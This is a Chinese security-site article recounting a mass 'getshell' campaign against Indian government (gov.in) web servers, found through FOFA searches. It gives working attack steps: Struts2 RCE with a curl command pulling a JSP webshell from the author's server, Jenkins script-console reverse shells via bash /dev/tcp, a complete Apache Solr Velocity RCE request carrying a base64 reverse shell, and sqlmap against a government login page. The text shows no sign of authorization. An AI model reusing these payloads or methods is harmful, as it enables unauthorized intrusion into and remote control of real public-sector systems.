freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

一次暴露面全开的红帽渗透测试【getshell】
蚁景科技 2023-08-10 09:11:04 251481

0x01、信息收集阶段

==注:本次信息收集过程主要使用FOFA网络探测平台 https://fofa.info/===

一开始进行收集的时候,有点迷,直接进行了大面积的"gov.in"域名收集

host="gov.in" && country="IN"

image-20230711021949594

哈哈68465条数据,想想就起飞,但是有个问题来了,怎么下载到本地,高级用户的API也只能调用下载1w条数据,左思右想。

试着写了个脚本看看:

import pythonfofa
import csv

filename = "IN_domain.csv"

email = 'u_mail'
key = 'u_API_KEY'
search = pythonfofa.Client(email, key)
get_data = search.search('host="gov.in" && country="IN"', size=70000)
# print(get_data)

requests = [result[1] for result in get_data['results']]
print(requests)
# 打开CSV文件并设置写入模式
with open(filename, "w", newline="") as file:
writer = csv.writer(file)

# 遍历请求列表
for request in requests:
# 在控制台打印域名
print(request)

# 检测域名是否包含"http://"
if not request.startswith("http://") and not request.startswith("https://"):
# 如果不包含,则在域名前添加"http://"
request = "http://" + request

# 在域名后添加斜杠"/"
request += "/"

# 将请求和值"1"作为一行写入CSV文件
writer.writerow([request, 1])

是的,肯定不能跑,下断点,调试看看

image-20230711024218564

很好确实是不能直接干7w条,换个收集思路,收集主流框架进行相应的漏扫

主流框架的相关漏洞的FOFA规则语句:

Fastjson

app="Fastjson" && host="in" && country="IN" && status_code="200" && (port="80" || port="443")

Struts2

app="Struts" && host="in" && country="IN" && status_code="200" && (port="80" || port="443")

Log4j2

(app="Log4j2" && host="in" && country="IN" && status_code="200" && (port="80" || port="443"))

其他的也都大同小异,照葫芦画瓢就行。

image-20230711025300355

目标站点收集差不多了,就是漏洞探测阶段了。

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注“freebuf”获取!】

① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

0x02、漏洞探测及利用

Struts2:

直接掏出大范围漏扫AWVS就行批量漏洞探测:

image-20230711025640689

第一天数据就直接起飞,因为本次目标是==getshell==直接忽略中低危漏洞告警,查看高危漏洞:

image-20230711025838442

很好一堆==Struts2==漏洞,直接上工具:

image-20230711030506931

得到一个RCE(远程命令执行漏洞),远程写入==shell==,先利用工具生成一个==Antsword(蚁剑)jsp格式的shell==

image-20230711030808818

将shell放到一个公网服务器上,接着执行命令查看web路径:/var/tomcat9/pmrportal/ROOT/

image-20230711031350331

直接执行

curl -o /var/tomcat9/pmrportal/ROOT/shell.jsp http://u_ip/antsword.jsp

然后webshell工具Antsword连接即可:

image-20230711031634840

爆出的该S2-045的漏洞的还有几个,getshell方式同上,不进行细述了___________

Weblogic:

image-20230711025901659

很好用的awvs,直接上工具注入内存马:

image-20230713175036472

冰蝎连接webshell:

image-20230713175143564

同类型的漏洞还有几个,getshell的方式都一致,不一一概述了》》

(PS:这个时候已经有些疲软了,没有去手测upload的点)

Jenkins:

中途其他框架没有收获的时候,就去浏览知识的海洋了,看到一个存在大量未授权+RCE的框架漏洞(Jenkins),二话不说,直接上FOFA:

(app="JENKINS" && title=="Dashboard [Jenkins]" && country="IN" && status_code="200") && (port="80" || port="443")

image-20230713220128955

一看86条资产,有戏,数量不多,直接手测:

image-20230713180849084

存在未授权,访问manager --> script页面,进行命令执行测试:

println "ls -al".execute().text

image-20230713181156856

存在命令执行,尝试反弹shell:

println "bash -i >& /dev/tcp/ip/port 0<&1".execute().text

接收shell的服务器开启端口监听:

image-20230713181947756

执行命令

image-20230713181823099

发现没有shell反弹过来,猜测不能在web端执行反弹shell,于是将反弹shell的命令写入.sh文件中,然后执行,进行反弹shell操作:

在sh文件中写入如下内容:

bash -i >& /dev/tcp/ip/port 0<&1

保存在开放的web端口,在jenkins服务中执行如下curl命令远程下载sh文件:

println "curl - o /tmp/jenkins.sh http://u_ip:port/jenkins.sh".execute().text

image-20230713182926953

查看.sh文件是否获取成功:

println "ls -al /tmp".execute().text

image-20230713183110423

获取.sh文件成功,执行文件,反弹shell:

开启监听:

image-20230713183406307

执行命令,启动.sh文件:

println "bash /tmp/jenkins.sh".execute().text

image-20230713183606528

image-20230713183513017

成功监听到谈过来的shell,又拿下一台!其他的没有存在未授权,便没有尝试。

Apache-Solr

闲着没事,打开文库看了几篇RCE复现,心血来潮,打开FOFA:

country="IN" && app="Apache-Solr" && status_code="200" && (port="443" || port="80")

image-20230719101927146

数据不大,接着手测,拿到三个未授权(不需要登陆):

==授权==:

image-20230719102234003

==未授权==:

image-20230719102331665

拿到未授权之后,进行CVE探测:

访问/solr/admin/cores/,获取name => music

image-20230719102848788

接着拼接路径/solr/music/config/查看用户配置信息:

image-20230719103210432

都为true,可直接利用公网披露的payload进行RCE,

GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22whoami%22))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

image-20230719115129111

测试是否出网:

修改执行命令为

curl%20xtolsc.dnslog.cn

image-20230719115425835

可出网,直接反弹shell:

GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2xxxxxx8xMDEuNDMuMTM5LjI0My81MDAwIDA%2BJjE%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end  HTTP/1.1
Host: ip
accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

VPS开启端口监听:nc -lvvnp 5000

image-20230719115817964

接听到弹过来的shell了,好,又拿下一台,root权限。

其他漏洞发现

反射型XSS

具体测试过程均无任何难度,无须bypass黑名单之类的,测试语句

<script>alert(1)</script>

image-20230726182631855

SQL注入

这类没有具体测试,发现注入点之后直接上SQLmap开扫:

sqlmap https://******.gov.in/****/Validate.jsp --data "email=a@a.com&password=123456" --random-agent -t 10 -p password --proxy=http://127.0.0.1:7890 --dbms=mysql

image-20230726183935140

诸如其他的漏洞也有发现,但不是本次渗透的重点,便没重点去深入。

渗透总结

本次测试周期长,测试目标暴露点多,非常有趣的一次渗透实战,后期有其他事儿,就没法全身心投入,蛮可惜的。

更多网安技能的在线实操练习,请点击这里>>


# 渗透测试 # 漏洞利用 # Getshell
本文为 蚁景科技 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
蚁景科技 LV.9
湖南蚁景科技有限公司主要从事在线教育平台技术研究及网络培训产品研发,专注网络空间安全实用型人才培养,全面提升用户动手实践能力。
  • 907 文章数
  • 675 关注者
蚁景科技荣膺双项殊荣,引领网络安全教育新潮流
2025-03-28
FlowiseAI 任意文件写入漏洞(CVE-2025–26319)
2025-03-27
路由器安全研究:D-Link DIR-823G v1.02 B05 复现与利用思路
2025-03-18
文章目录